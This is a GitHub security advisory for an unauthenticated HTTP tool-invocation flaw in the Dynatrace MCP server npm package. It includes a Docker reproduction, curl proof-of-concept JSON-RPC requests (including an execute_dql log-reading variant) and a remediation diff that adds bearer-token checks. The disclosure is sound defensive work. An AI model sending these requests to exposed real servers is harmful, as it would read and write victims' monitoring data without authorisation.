GitHub Advisoryadvisory · npm
GHSA-p7w7-4929-vpj5 `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- @dynatrace-oss/dynatrace-mcp-server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L
- Weaknesses
- CWE-306
- Reviewed
- 2026-07-31
Affected packages
• npm @dynatrace-oss/dynatrace-mcp-server: < 2.0.0 → fixed in 2.0.0
Description
Summary
`@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant).
Details
When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance:
```ts
// src/index.ts:1638-1640
const httpTransport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined, // No Session ID needed
});
```
No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:
```ts
// src/index.ts:1648-1668
body = JSON.parse(rawBody);
...
await httpTransport.handleRequest(req, res, body);
```
Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate:
`execute_dql` — Confidentiality: High
```ts
// src/index.ts:746-769
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));
return executeDql(dtClient, { query });
```
An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.
`create_dynatrace_notebook` — Integrity: Low
```ts
// src/index.ts:1593-1600
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));
return createNotebook(dtClient, { name, sections });
```
An attacker can create notebooks under the victim's tenant.
> Note on `send_event`: The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector.
> Note on PoC tool `reset_grail_budget`: The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials.
PoC
Environment setup (Docker):
```bash
Build from repository root
docker build \
-t dynatrace-mcp-vuln001:latest \
-f /path/to/vuln-001/Dockerfile \
/path/to/dynatrace-mcp/repo
Run — abc12345 in hostname activates demo mode, skipping real API connectivity check
docker run -d \
--name dynatrace-mcp-vuln001-test \
-p 127.0.0.1:3999:3999 \
-e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \
-e DT_PLATFORM_TOKEN=fake-token-for-poc \
dynatrace-mcp-vuln001:latest \
--http --port 3999 --host 0.0.0.0
```
Unauthenticated tool invocation (no `Authorization` header):
```bash
curl -sS -N -X POST http://127.0.0.1:3999/ \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Mcp-Protocol-Version: 2025-03-26' \
--data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}'
```
Observed response (HTTP 200, no authentication required):
```
HTTP/1.1 200 OK
content-type: text/event-stream
event: message
data: {"result":{"content":[{"type":"text","text":"✅ Grail Budget Reset Successfully!\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1}
```
Python PoC script (automated, with server-readiness polling):
```bash
python3 poc.py 127.0.0.1 3999
Exits 0 on confirmed unauthenticated tool execution
Exits 2 if server correctly returns HTTP 401 (patched)
```
High-impact variant with real credentials — data exfiltration via `execute_dql`:
```bash
curl -sS -N -X POST http://:3000/ \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Mcp-Protocol-Version: 2025-03-26' \
--data '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "execute_dql",
"arguments": {
"query": "fetch logs | limit 10"
}
}
}'
```
Recommended remediation:
```diff
--- a/src/index.ts
+++ b/src/index.ts
+import { timingSafeEqual } from 'node:crypto';
+ .option('--http-auth-token ', 'bearer token required for HTTP server mode')
+ const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;
+
+ const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {
+ const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;
+ const actualHeader = req.headers.authorization;
+ if (!expected || !actualHeader) return false;
+ const actual = Buffer.from(actualHeader);
+ return actual.length === expected.length && timingSafeEqual(actual, expected);
+ };
if (httpMode) {
+ if (!httpAuthToken) {
+ console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');
+ process.exit(1);
+ }
const httpServer = createServer(async (req, res) => {
+ if (!isAuthorizedHttpRequest(req)) {
+ res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });
+ res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));
+ return;
+ }
const httpTransport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined,
+ enableDnsRebindingProtection: true,
+ allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],
});
```
Impact
This is a Missing Authentication for Critical Function vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials.
Who is impacted: Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
build stage - text sourcefrom dynatrace-mcp-server build
FROM node:22.21.1-alpine3.22 AS build
WORKDIR /app
repo copy the full repo source (hosttext clone repo pathfrom textand build)
COPY . .
RUN npm ci
RUN npm run build
runtime textonly install (dist/package.json criteria)
RUN cd dist && npm install --ignore-scripts && npm cache clean --force
runtime stage
FROM node:22.21.1-alpine3.22
WORKDIR /app
COPY --from=build --chown=n…
Related
Weakness · CWE (1)
- CWE-306 Missing Authentication for Critical Functionality weakness
References
- https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-p7w7-4929-vpj5 web
- https://github.com/dynatrace-oss/dynatrace-mcp/pull/536 web
- https://github.com/dynatrace-oss/dynatrace-mcp/commit/8f12972481e9165e8bd24d63b0a9e71976f85a43 web
- https://github.com/dynatrace-oss/dynatrace-mcp package
- https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.0.0 web